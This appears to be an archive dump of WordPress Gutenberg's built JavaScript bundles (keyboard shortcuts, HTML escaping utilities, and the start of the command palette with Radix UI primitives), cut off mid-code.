e[t]&&e[t].aliases?e[t].aliases:u}const m=(0,r.createSelector)(((e,t)=>[y(e,t),...w(e,t)].filter(Boolean)),((e,t)=>[e[t]])),p=(0,r.createSelector)(((e,t)=>m(e,t).map((e=>l(e,"raw")))),((e,t)=>[e[t]])),b=(0,r.createSelector)(((e,t)=>Object.entries(e).filter((([,e])=>e.category===t)).map((([e])=>e))),(e=>[e])),h=(0,r.createReduxStore)("core/keyboard-shortcuts",{reducer:i,actions:o,selectors:n});(0,r.register)(h);const g=window.wp.element;function R(){const{getAllShortcutKeyCombinations:e}=(0,r.useSelect)(h);return function(t,o){return e(t).some((({modifier:e,character:t})=>s.isKeyboardEvent[e](o,t)))}}const C=new Set,v=e=>{for(const t of C)t(e)},E=(0,g.createContext)({add:e=>{0===C.size&&document.addEventListener("keydown",v),C.add(e)},delete:e=>{C.delete(e),0===C.size&&document.removeEventListener("keydown",v)}});function T(e,t,{isDisabled:o=!1}={}){const n=(0,g.useContext)(E),r=R(),i=(0,g.useRef)();(0,g.useEffect)((()=>{i.current=t}),[t]),(0,g.useEffect)((()=>{if(!o)return n.add(t),()=>{n.delete(t)};function t(t){r(e,t)&&i.current(t)}}),[e,o,n])}const k=window.ReactJSXRuntime,{Provider:O}=E;function K(e){const[t]=(0,g.useState)((()=>new Set));return(0,k.jsx)(O,{value:t,children:(0,k.jsx)("div",{...e,onKeyDown:function(o){e.onKeyDown&&e.onKeyDown(o);for(const e of t)e(o)}})})}(window.wp=window.wp||{}).keyboardShortcuts=t})(); escape-html.js 0000664 00000013563 15061233506 0007317 0 ustar 00 /******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ // The require scope /******/ var __webpack_require__ = {}; /******/ /************************************************************************/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // ESM COMPAT FLAG __webpack_require__.r(__webpack_exports__); // EXPORTS __webpack_require__.d(__webpack_exports__, { escapeAmpersand: () => (/* binding */ escapeAmpersand), escapeAttribute: () => (/* binding */ escapeAttribute), escapeEditableHTML: () => (/* binding */ escapeEditableHTML), escapeHTML: () => (/* binding */ escapeHTML), escapeLessThan: () => (/* binding */ escapeLessThan), escapeQuotationMark: () => (/* binding */ escapeQuotationMark), isValidAttributeName: () => (/* binding */ isValidAttributeName) }); ;// ./node_modules/@wordpress/escape-html/build-module/escape-greater.js /** * Returns a string with greater-than sign replaced. * * Note that if a resolution for Trac#45387 comes to fruition, it is no longer * necessary for `__unstableEscapeGreaterThan` to exist. * * See: https://core.trac.wordpress.org/ticket/45387 * * @param value Original string. * * @return Escaped string. */ function __unstableEscapeGreaterThan(value) { return value.replace(/>/g, '>'); } ;// ./node_modules/@wordpress/escape-html/build-module/index.js /** * Internal dependencies */ /** * Regular expression matching invalid attribute names. * * "Attribute names must consist of one or more characters other than controls, * U+0020 SPACE, U+0022 ("), U+0027 ('), U+003E (>), U+002F (/), U+003D (=), * and noncharacters." * * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2 */ const REGEXP_INVALID_ATTRIBUTE_NAME = /[\u007F-\u009F "'>/="\uFDD0-\uFDEF]/; /** * Returns a string with ampersands escaped. Note that this is an imperfect * implementation, where only ampersands which do not appear as a pattern of * named, decimal, or hexadecimal character references are escaped. Invalid * named references (i.e. ambiguous ampersand) are still permitted. * * @see https://w3c.github.io/html/syntax.html#character-references * @see https://w3c.github.io/html/syntax.html#ambiguous-ampersand * @see https://w3c.github.io/html/syntax.html#named-character-references * * @param value Original string. * * @return Escaped string. */ function escapeAmpersand(value) { return value.replace(/&(?!([a-z0-9]+|#[0-9]+|#x[a-f0-9]+);)/gi, '&'); } /** * Returns a string with quotation marks replaced. * * @param value Original string. * * @return Escaped string. */ function escapeQuotationMark(value) { return value.replace(/"/g, '"'); } /** * Returns a string with less-than sign replaced. * * @param value Original string. * * @return Escaped string. */ function escapeLessThan(value) { return value.replace(/</g, '<'); } /** * Returns an escaped attribute value. * * @see https://w3c.github.io/html/syntax.html#elements-attributes * * "[...] the text cannot contain an ambiguous ampersand [...] must not contain * any literal U+0022 QUOTATION MARK characters (")" * * Note we also escape the greater than symbol, as this is used by wptexturize to * split HTML strings. This is a WordPress specific fix * * Note that if a resolution for Trac#45387 comes to fruition, it is no longer * necessary for `__unstableEscapeGreaterThan` to be used. * * See: https://core.trac.wordpress.org/ticket/45387 * * @param value Attribute value. * * @return Escaped attribute value. */ function escapeAttribute(value) { return __unstableEscapeGreaterThan(escapeQuotationMark(escapeAmpersand(value))); } /** * Returns an escaped HTML element value. * * @see https://w3c.github.io/html/syntax.html#writing-html-documents-elements * * "the text must not contain the character U+003C LESS-THAN SIGN (<) or an * ambiguous ampersand." * * @param value Element value. * * @return Escaped HTML element value. */ function escapeHTML(value) { return escapeLessThan(escapeAmpersand(value)); } /** * Returns an escaped Editable HTML element value. This is different from * `escapeHTML`, because for editable HTML, ALL ampersands must be escaped in * order to render the content correctly on the page. * * @param value Element value. * * @return Escaped HTML element value. */ function escapeEditableHTML(value) { return escapeLessThan(value.replace(/&/g, '&')); } /** * Returns true if the given attribute name is valid, or false otherwise. * * @param name Attribute name to test. * * @return Whether attribute is valid. */ function isValidAttributeName(name) { return !REGEXP_INVALID_ATTRIBUTE_NAME.test(name); } (window.wp = window.wp || {}).escapeHtml = __webpack_exports__; /******/ })() ; commands.js 0000664 00000544704 15061233506 0006724 0 ustar 00 /******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ var __webpack_modules__ = ({}); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ /******/ /* webpack/runtime/create fake namespace object */ /******/ (() => { /******/ var getProto = Object.getPrototypeOf ? (obj) => (Object.getPrototypeOf(obj)) : (obj) => (obj.__proto__); /******/ var leafPrototypes; /******/ // create a fake namespace object /******/ // mode & 1: value is a module id, require it /******/ // mode & 2: merge all properties of value into the ns /******/ // mode & 4: return value when already ns object /******/ // mode & 16: return value when it's Promise-like /******/ // mode & 8|1: behave like require /******/ __webpack_require__.t = function(value, mode) { /******/ if(mode & 1) value = this(value); /******/ if(mode & 8) return value; /******/ if(typeof value === 'object' && value) { /******/ if((mode & 4) && value.__esModule) return value; /******/ if((mode & 16) && typeof value.then === 'function') return value; /******/ } /******/ var ns = Object.create(null); /******/ __webpack_require__.r(ns); /******/ var def = {}; /******/ leafPrototypes = leafPrototypes || [null, getProto({}), getProto([]), getProto(getProto)]; /******/ for(var current = mode & 2 && value; typeof current == 'object' && !~leafPrototypes.indexOf(current); current = getProto(current)) { /******/ Object.getOwnPropertyNames(current).forEach((key) => (def[key] = () => (value[key]))); /******/ } /******/ def['default'] = () => (value); /******/ __webpack_require__.d(ns, def); /******/ return ns; /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/nonce */ /******/ (() => { /******/ __webpack_require__.nc = undefined; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // ESM COMPAT FLAG __webpack_require__.r(__webpack_exports__); // EXPORTS __webpack_require__.d(__webpack_exports__, { CommandMenu: () => (/* reexport */ CommandMenu), privateApis: () => (/* reexport */ privateApis), store: () => (/* reexport */ store), useCommand: () => (/* reexport */ useCommand), useCommandLoader: () => (/* reexport */ useCommandLoader) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/commands/build-module/store/actions.js var actions_namespaceObject = {}; __webpack_require__.r(actions_namespaceObject); __webpack_require__.d(actions_namespaceObject, { close: () => (actions_close), open: () => (actions_open), registerCommand: () => (registerCommand), registerCommandLoader: () => (registerCommandLoader), unregisterCommand: () => (unregisterCommand), unregisterCommandLoader: () => (unregisterCommandLoader) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/commands/build-module/store/selectors.js var selectors_namespaceObject = {}; __webpack_require__.r(selectors_namespaceObject); __webpack_require__.d(selectors_namespaceObject, { getCommandLoaders: () => (getCommandLoaders), getCommands: () => (getCommands), getContext: () => (getContext), isOpen: () => (selectors_isOpen) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/commands/build-module/store/private-actions.js var private_actions_namespaceObject = {}; __webpack_require__.r(private_actions_namespaceObject); __webpack_require__.d(private_actions_namespaceObject, { setContext: () => (setContext) }); ;// ./node_modules/cmdk/dist/chunk-NZJY6EH4.mjs var U=1,Y=.9,H=.8,J=.17,p=.1,u=.999,$=.9999;var k=.99,m=/[\\\/_+.#"@\[\(\{&]/,B=/[\\\/_+.#"@\[\(\{&]/g,K=/[\s-]/,X=/[\s-]/g;function G(_,C,h,P,A,f,O){if(f===C.length)return A===_.length?U:k;var T=`${A},${f}`;if(O[T]!==void 0)return O[T];for(var L=P.charAt(f),c=h.indexOf(L,A),S=0,E,N,R,M;c>=0;)E=G(_,C,h,P,c+1,f+1,O),E>S&&(c===A?E*=U:m.test(_.charAt(c-1))?(E*=H,R=_.slice(A,c-1).match(B),R&&A>0&&(E*=Math.pow(u,R.length))):K.test(_.charAt(c-1))?(E*=Y,M=_.slice(A,c-1).match(X),M&&A>0&&(E*=Math.pow(u,M.length))):(E*=J,A>0&&(E*=Math.pow(u,c-A))),_.charAt(c)!==C.charAt(f)&&(E*=$)),(E<p&&h.charAt(c-1)===P.charAt(f+1)||P.charAt(f+1)===P.charAt(f)&&h.charAt(c-1)!==P.charAt(f))&&(N=G(_,C,h,P,c+1,f+2,O),N*p>E&&(E=N*p)),E>S&&(S=E),c=h.indexOf(L,c+1);return O[T]=S,S}function D(_){return _.toLowerCase().replace(X," ")}function W(_,C,h){return _=h&&h.length>0?`${_+" "+h.join(" ")}`:_,G(_,C,D(_),D(C),0,0,{})} ;// ./node_modules/@babel/runtime/helpers/esm/extends.js function _extends() { return _extends = Object.assign ? Object.assign.bind() : function (n) { for (var e = 1; e < arguments.length; e++) { var t = arguments[e]; for (var r in t) ({}).hasOwnProperty.call(t, r) && (n[r] = t[r]); } return n; }, _extends.apply(null, arguments); } ;// external "React" const external_React_namespaceObject = window["React"]; var external_React_namespaceObject_0 = /*#__PURE__*/__webpack_require__.t(external_React_namespaceObject, 2); ;// ./node_modules/@radix-ui/primitive/dist/index.mjs function $e42e1063c40fb3ef$export$b9ecd428b558ff10(originalEventHandler, ourEventHandler, { checkForDefaultPrevented: checkForDefaultPrevented = true } = {}) { return function handleEvent(event) { originalEventHandler === null || originalEventHandler === void 0 || originalEventHandler(event); if (checkForDefaultPrevented === false || !event.defaultPrevented) return ourEventHandler === null || ourEventHandler === void 0 ? void 0 : ourEventHandler(event); }; } ;// ./node_modules/@radix-ui/react-compose-refs/dist/index.mjs /** * Set a given ref to a given value * This utility takes care of different types of refs: callback refs and RefObject(s) */ function $6ed0406888f73fc4$var$setRef(ref, value) { if (typeof ref === 'function') ref(value); else if (ref !== null && ref !== undefined) ref.current = value; } /** * A utility to compose multiple refs together * Accepts callback refs and RefObject(s) */ function $6ed0406888f73fc4$export$43e446d32b3d21af(...refs) { return (node)=>refs.forEach((ref)=>$6ed0406888f73fc4$var$setRef(ref, node) ) ; } /** * A custom hook that composes multiple refs * Accepts callback refs and RefObject(s) */ function $6ed0406888f73fc4$export$c7b2cbe3552a0d05(...refs) { // eslint-disable-next-line react-hooks/exhaustive-deps return (0,external_React_namespaceObject.useCallback)($6ed0406888f73fc4$export$43e446d32b3d21af(...refs), refs); } ;// ./node_modules/@radix-ui/react-context/dist/index.mjs function $c512c27ab02ef895$export$fd42f52fd3ae1109(rootComponentName, defaultContext) { const Context = /*#__PURE__*/ (0,external_React_namespaceObject.createContext)(defaultContext); function Provider(props) { const { children: children , ...context } = props; // Only re-memoize when prop values change // eslint-disable-next-line react-hooks/exhaustive-deps const value = (0,external_React_namespaceObject.useMemo)(()=>context , Object.values(context)); return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)(Context.Provider, { value: value }, children); } function useContext(consumerName) { const context = (0,external_React_namespaceObject.useContext)(Context); if (context) return context; if (defaultContext !== undefined) return defaultContext; // if a defaultContext wasn't specified, it's a required context. throw new Error(`\`${consumerName}\` must be used within \`${rootComponentName}\``); } Provider.displayName = rootComponentName + 'Provider'; return [ Provider, useContext ]; } /* ------------------------------------------------------------------------------------------------- * createContextScope * -----------------------------------------------------------------------------------------------*/ function $c512c27ab02ef895$export$50c7b4e9d9f19c1(scopeName, createContextScopeDeps = []) { let defaultContexts = []; /* ----------------------------------------------------------------------------------------------- * createContext * ---------------------------------------------------------------------------------------------*/ function $c512c27ab02ef895$export$fd42f52fd3ae1109(rootComponentName, defaultContext) { const BaseContext = /*#__PURE__*/ (0,external_React_namespaceObject.createContext)(defaultContext); const index = defaultContexts.length; defaultContexts = [ ...defaultContexts, defaultContext ]; function Provider(props) { const { scope: scope , children: children , ...context } = props; const Context = (scope === null || scope === void 0 ? void 0 : scope[scopeName][index]) || BaseContext; // Only re-memoize when prop values change // eslint-disable-next-line react-hooks/exhaustive-deps const value = (0,external_React_namespaceObject.useMemo)(()=>context , Object.values(context)); return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)(Context.Provider, { value: value }, children); } function useContext(consumerName, scope) { const Context = (scope === null || scope === void 0 ? void 0 : scope[scopeName][index]) || BaseContext; const context = (0,external_React_namespaceObject.useContext)(Context); if (context) return context; if (defaultContext !== undefined) return defaultContext; // if a defaultContext wasn't specified, it's a required context. throw new Error(`\`${consumerName}\` must be used within \`${rootComponentName}\``); } Provider.displayName = rootComponentName + 'Provider'; return [ Provider, useContext ]; } /* ----------------------------------------------------------------------------------------------- * createScope * ---------------------------------------------------------------------------------------------*/ const createScope = ()=>{ const scopeContexts = defaultContexts.map((defaultContext)=>{ return /*#__PURE__*/ (0,external_React_namespaceObject.createContext)(defaultContext); }); return function useScope(scope) { const contexts = (scope === null || scope === void 0 ? void 0 : scope[scopeName]) || scopeContexts; return (0,external_React_namespaceObject.useMemo)(()=>({ [`__scope${scopeName}`]: { ...scope, [scopeName]: contexts } }) , [ scope, contexts ]); }; }; createScope.scopeName = scopeName; return [ $c512c27ab02ef895$export$fd42f52fd3ae1109, $c512c27ab02ef895$var$composeContextScopes(createScope, ...createContextScopeDeps) ]; } /* ------------------------------------------------------------------------------------------------- * composeContextScopes * -----------------------------------------------------------------------------------------------*/ function $c512c27ab02ef895$var$composeContextScopes(...scopes) { const baseScope = scopes[0]; if (scopes.length === 1) return baseScope; const createScope1 = ()=>{ const scopeHooks = scopes.map((createScope)=>({ useScope: createScope(), scopeName: createScope.scopeName }) ); return function useComposedScopes(overrideScopes) { const nextScopes1 = scopeHooks.reduce((nextScopes, { useScope: useScope , scopeName: scopeName })=>{ // We are calling a hook inside a callback which React warns against to avoid inconsistent // renders, however, scoping doesn't have render side effects so we ignore the rule. // eslint-disable-next-line react-hooks/rules-of-hooks const scopeProps = useScope(overrideScopes); const currentScope = scopeProps[`__scope${scopeName}`]; return { ...nextScopes, ...currentScope }; }, {}); return (0,external_React_namespaceObject.useMemo)(()=>({ [`__scope${baseScope.scopeName}`]: nextScopes1 }) , [ nextScopes1 ]); }; }; createScope1.scopeName = baseScope.scopeName; return createScope1; } ;// ./node_modules/@radix-ui/react-use-layout-effect/dist/index.mjs /** * On the server, React emits a warning when calling `useLayoutEffect`. * This is because neither `useLayoutEffect` nor `useEffect` run on the server. * We use this safe version which suppresses the warning by replacing it with a noop on the server. * * See: https://reactjs.org/docs/hooks-reference.html#uselayouteffect */ const $9f79659886946c16$export$e5c5a5f917a5871c = Boolean(globalThis === null || globalThis === void 0 ? void 0 : globalThis.document) ? external_React_namespaceObject.useLayoutEffect : ()=>{}; ;// ./node_modules/@radix-ui/react-id/dist/index.mjs const $1746a345f3d73bb7$var$useReactId = external_React_namespaceObject_0['useId'.toString()] || (()=>undefined ); let $1746a345f3d73bb7$var$count = 0; function $1746a345f3d73bb7$export$f680877a34711e37(deterministicId) { const [id, setId] = external_React_namespaceObject.useState($1746a345f3d73bb7$var$useReactId()); // React versions older than 18 will have client-side ids only. $9f79659886946c16$export$e5c5a5f917a5871c(()=>{ if (!deterministicId) setId((reactId)=>reactId !== null && reactId !== void 0 ? reactId : String($1746a345f3d73bb7$var$count++) ); }, [ deterministicId ]); return deterministicId || (id ? `radix-${id}` : ''); } ;// ./node_modules/@radix-ui/react-use-callback-ref/dist/index.mjs /** * A custom hook that converts a callback to a ref to avoid triggering re-renders when passed as a * prop or avoid re-executing effects when passed as a dependency */ function $b1b2314f5f9a1d84$export$25bec8c6f54ee79a(callback) { const callbackRef = (0,external_React_namespaceObject.useRef)(callback); (0,external_React_namespaceObject.useEffect)(()=>{ callbackRef.current = callback; }); // https://github.com/facebook/react/issues/19240 return (0,external_React_namespaceObject.useMemo)(()=>(...args)=>{ var _callbackRef$current; return (_callbackRef$current = callbackRef.current) === null || _callbackRef$current === void 0 ? void 0 : _callbackRef$current.call(callbackRef, ...args); } , []); } ;// ./node_modules/@radix-ui/react-use-controllable-state/dist/index.mjs function $71cd76cc60e0454e$export$6f32135080cb4c3({ prop: prop , defaultProp: defaultProp , onChange: onChange = ()=>{} }) { const [uncontrolledProp, setUncontrolledProp] = $71cd76cc60e0454e$var$useUncontrolledState({ defaultProp: defaultProp, onChange: onChange }); const isControlled = prop !== undefined; const value1 = isControlled ? prop : uncontrolledProp; const handleChange = $b1b2314f5f9a1d84$export$25bec8c6f54ee79a(onChange); const setValue = (0,external_React_namespaceObject.useCallback)((nextValue)=>{ if (isControlled) { const setter = nextValue; const value = typeof nextValue === 'function' ? setter(prop) : nextValue; if (value !== prop) handleChange(value); } else setUncontrolledProp(nextValue); }, [ isControlled, prop, setUncontrolledProp, handleChange ]); return [ value1, setValue ]; } function $71cd76cc60e0454e$var$useUncontrolledState({ defaultProp: defaultProp , onChange: onChange }) { const uncontrolledState = (0,external_React_namespaceObject.useState)(defaultProp); const [value] = uncontrolledState; const prevValueRef = (0,external_React_namespaceObject.useRef)(value); const handleChange = $b1b2314f5f9a1d84$export$25bec8c6f54ee79a(onChange); (0,external_React_namespaceObject.useEffect)(()=>{ if (prevValueRef.current !== value) { handleChange(value); prevValueRef.current = value; } }, [ value, prevValueRef, handleChange ]); return uncontrolledState; } ;// external "ReactDOM" const external_ReactDOM_namespaceObject = window["ReactDOM"]; ;// ./node_modules/@radix-ui/react-slot/dist/index.mjs /* ------------------------------------------------------------------------------------------------- * Slot * -----------------------------------------------------------------------------------------------*/ const $5e63c961fc1ce211$export$8c6ed5c666ac1360 = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{ const { children: children , ...slotProps } = props; const childrenArray = external_React_namespaceObject.Children.toArray(children); const slottable = childrenArray.find($5e63c961fc1ce211$var$isSlottable); if (slottable) { // the new element to render is the one passed as a child of `Slottable` const newElement = slottable.props.children; const newChildren = childrenArray.map((child)=>{ if (child === slottable) { // because the new element will be the one rendered, we are only interested // in grabbing its children (`newElement.props.children`) if (external_React_namespaceObject.Children.count(newElement) > 1) return external_React_namespaceObject.Children.only(null); return /*#__PURE__*/ (0,external_React_namespaceObject.isValidElement)(newElement) ? newElement.props.children : null; } else return child; }); return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($5e63c961fc1ce211$var$SlotClone, _extends({}, slotProps, { ref: forwardedRef }), /*#__PURE__*/ (0,external_React_namespaceObject.isValidElement)(newElement) ? /*#__PURE__*/ (0,external_React_namespaceObject.cloneElement)(newElement, undefined, newChildren) : null); } return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($5e63c961fc1ce211$var$SlotClone, _extends({}, slotProps, { ref: forwardedRef }), children); }); $5e63c961fc1ce211$export$8c6ed5c666ac1360.displayName = 'Slot'; /* ------------------------------------------------------------------------------------------------- * SlotClone * -----------------------------------------------------------------------------------------------*/ const $5e63c961fc1ce211$var$SlotClone = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{ const { children: children , ...slotProps } = props; if (/*#__PURE__*/ (0,external_React_namespaceObject.isValidElement)(children)) return /*#__PURE__*/ (0,external_React_namespaceObject.cloneElement)(children, { ...$5e63c961fc1ce211$var$mergeProps(slotProps, children.props), ref: forwardedRef ? $6ed0406888f73fc4$export$43e446d32b3d21af(forwardedRef, children.ref) : children.ref }); return external_React_namespaceObject.Children.count(children) > 1 ? external_React_namespaceObject.Children.only(null) : null; }); $5e63c961fc1ce211$var$SlotClone.displayName = 'SlotClone'; /* ------------------------------------------------------------------------------------------------- * Slottable * -----------------------------------------------------------------------------------------------*/ const $5e63c961fc1ce211$export$d9f1ccf0bdb05d45 = ({ children: children })=>{ return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)(external_React_namespaceObject.Fragment, null, children); }; /* ---------------------------------------------------------------------------------------------- */ function $5e63c961fc1ce211$var$isSlottable(child) { return /*#__PURE__*/ (0,external_React_namespaceObject.isValidElement)(child) && child.type === $5e63c961fc1ce211$export$d9f1ccf0bdb05d45; } function $5e63c961fc1ce211$var$mergeProps(slotProps, childProps) { // all child props should override const overrideProps = { ...childProps }; for(const propName in childProps){ const slotPropValue = slotProps[propName]; const childPropValue = childProps[propName]; const isHandler = /^on[A-Z]/.test(propName); if (isHandler) { // if the handler exists on both, we compose them if (slotPropValue && childPropValue) overrideProps[propName] = (...args)=>{ childPropValue(...args); slotPropValue(...args); }; else if (slotPropValue) overrideProps[propName] = slotPropValue; } else if (propName === 'style') overrideProps[propName] = { ...slotPropValue, ...childPropValue }; else if (propName === 'className') overrideProps[propName] = [ slotPropValue, childPropValue ].filter(Boolean).join(' '); } return { ...slotProps, ...overrideProps }; } const $5e63c961fc1ce211$export$be92b6f5f03c0fe9 = (/* unused pure expression or super */ null && ($5e63c961fc1ce211$export$8c6ed5c666ac1360)); ;// ./node_modules/@radix-ui/react-primitive/dist/index.mjs const $8927f6f2acc4f386$var$NODES = [ 'a', 'button', 'div', 'form', 'h2', 'h3', 'img', 'input', 'label', 'li', 'nav', 'ol', 'p', 'span', 'svg', 'ul' ]; // Temporary while we await merge of this fix: // https://github.com/DefinitelyTyped/DefinitelyTyped/pull/55396 // prettier-ignore /* ------------------------------------------------------------------------------------------------- * Primitive * -----------------------------------------------------------------------------------------------*/ const $8927f6f2acc4f386$export$250ffa63cdc0d034 = $8927f6f2acc4f386$var$NODES.reduce((primitive, node)=>{ const Node = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{ const { asChild: asChild , ...primitiveProps } = props; const Comp = asChild ? $5e63c961fc1ce211$export$8c6ed5c666ac1360 : node; (0,external_React_namespaceObject.useEffect)(()=>{ window[Symbol.for('radix-ui')] = true; }, []); return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)(Comp, _extends({}, primitiveProps, { ref: forwardedRef })); }); Node.displayName = `Primitive.${node}`; return { ...primitive, [node]: Node }; }, {}); /* ------------------------------------------------------------------------------------------------- * Utils * -----------------------------------------------------------------------------------------------*/ /** * Flush custom event dispatch * https://github.com/radix-ui/primitives/pull/1378 * * React batches *all* event handlers since version 18, this introduces certain considerations when using custom event types. * * Internally, React prioritises events in the following order: * - discrete * - continuous * - default * * https://github.com/facebook/react/blob/a8a4742f1c54493df00da648a3f9d26e3db9c8b5/packages/react-dom/src/events/ReactDOMEventListener.js#L294-L350 * * `discrete` is an important distinction as updates within these events are applied immediately. * React however, is not able to infer the priority of custom event types due to how they are detected internally. * Because of this, it's possible for updates from custom events to be unexpectedly batched when * dispatched by another `discrete` event. * * In order to ensure that updates from custom events are applied predictably, we need to manually flush the batch. * This utility should be used when dispatching a custom event from within another `discrete` event, this utility * is not nessesary when dispatching known event types, or if dispatching a custom type inside a non-discrete event. * For example: * * dispatching a known click 👎 * target.dispatchEvent(new Event(‘click’)) * * dispatching a custom type within a non-discrete event 👎 * onScroll={(event) => event.target.dispatchEvent(new CustomEvent(‘customType’))} * * dispatching a custom type within a `discrete` event 👍 * onPointerDown={(event) => dispatchDiscreteCustomEvent(event.target, new CustomEvent(‘customType’))} * * Note: though React classifies `focus`, `focusin` and `focusout` events as `discrete`, it's not recommended to use * this utility with them. This is because it's possible for those handlers to be called implicitly during render * e.g. when focus is within a component as it is unmounted, or when managing focus on mount. */ function $8927f6f2acc4f386$export$6d1a0317bde7de7f(target, event) { if (target) (0,external_ReactDOM_namespaceObject.flushSync)(()=>target.dispatchEvent(event) ); } /* -----------------------------------------------------------------------------------------------*/ const $8927f6f2acc4f386$export$be92b6f5f03c0fe9 = (/* unused pure expression or super */ null && ($8927f6f2acc4f386$export$250ffa63cdc0d034)); ;// ./node_modules/@radix-ui/react-use-escape-keydown/dist/index.mjs /** * Listens for when the escape key is down */ function $addc16e1bbe58fd0$export$3a72a57244d6e765(onEscapeKeyDownProp, ownerDocument = globalThis === null || globalThis === void 0 ? void 0 : globalThis.document) { const onEscapeKeyDown = $b1b2314f5f9a1d84$export$25bec8c6f54ee79a(onEscapeKeyDownProp); (0,external_React_namespaceObject.useEffect)(()=>{ const handleKeyDown = (event)=>{ if (event.key === 'Escape') onEscapeKeyDown(event); }; ownerDocument.addEventListener('keydown', handleKeyDown); return ()=>ownerDocument.removeEventListener('keydown', handleKeyDown) ; }, [ onEscapeKeyDown, ownerDocument ]); } ;// ./node_modules/@radix-ui/react-dismissable-layer/dist/index.mjs /* ------------------------------------------------------------------------------------------------- * DismissableLayer * -----------------------------------------------------------------------------------------------*/ const $5cb92bef7577960e$var$DISMISSABLE_LAYER_NAME = 'DismissableLayer'; const $5cb92bef7577960e$var$CONTEXT_UPDATE = 'dismissableLayer.update'; const $5cb92bef7577960e$var$POINTER_DOWN_OUTSIDE = 'dismissableLayer.pointerDownOutside'; const $5cb92bef7577960e$var$FOCUS_OUTSIDE = 'dismissableLayer.focusOutside'; let $5cb92bef7577960e$var$originalBodyPointerEvents; const $5cb92bef7577960e$var$DismissableLayerContext = /*#__PURE__*/ (0,external_React_namespaceObject.createContext)({ layers: new Set(), layersWithOutsidePointerEventsDisabled: new Set(), branches: new Set() }); const $5cb92bef7577960e$export$177fb62ff3ec1f22 = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{ var _node$ownerDocument; const { disableOutsidePointerEvents: disableOutsidePointerEvents = false , onEscapeKeyDown: onEscapeKeyDown , onPointerDownOutside: onPointerDownOutside , onFocusOutside: onFocusOutside , onInteractOutside: onInteractOutside , onDismiss: onDismiss , ...layerProps } = props; const context = (0,external_React_namespaceObject.useContext)($5cb92bef7577960e$var$DismissableLayerContext); const [node1, setNode] = (0,external_React_namespaceObject.useState)(null); const ownerDocument = (_node$ownerDocument = node1 === null || node1 === void 0 ? void 0 : node1.ownerDocument) !== null && _node$ownerDocument !== void 0 ? _node$ownerDocument : globalThis === null || globalThis === void 0 ? void 0 : globalThis.document; const [, force] = (0,external_React_namespaceObject.useState)({}); const composedRefs = $6ed0406888f73fc4$export$c7b2cbe3552a0d05(forwardedRef, (node)=>setNode(node) ); const layers = Array.from(context.layers); const [highestLayerWithOutsidePointerEventsDisabled] = [ ...context.layersWithOutsidePointerEventsDisabled ].slice(-1); // prettier-ignore const highestLayerWithOutsidePointerEventsDisabledIndex = layers.indexOf(highestLayerWithOutsidePointerEventsDisabled); // prettier-ignore const index = node1 ? layers.indexOf(node1) : -1; const isBodyPointerEventsDisabled = context.layersWithOutsidePointerEventsDisabled.size > 0; const isPointerEventsEnabled = index >= highestLayerWithOutsidePointerEventsDisabledIndex; const pointerDownOutside = $5cb92bef7577960e$var$usePointerDownOutside((event)=>{ const target = event.target; const isPointerDownOnBranch = [ 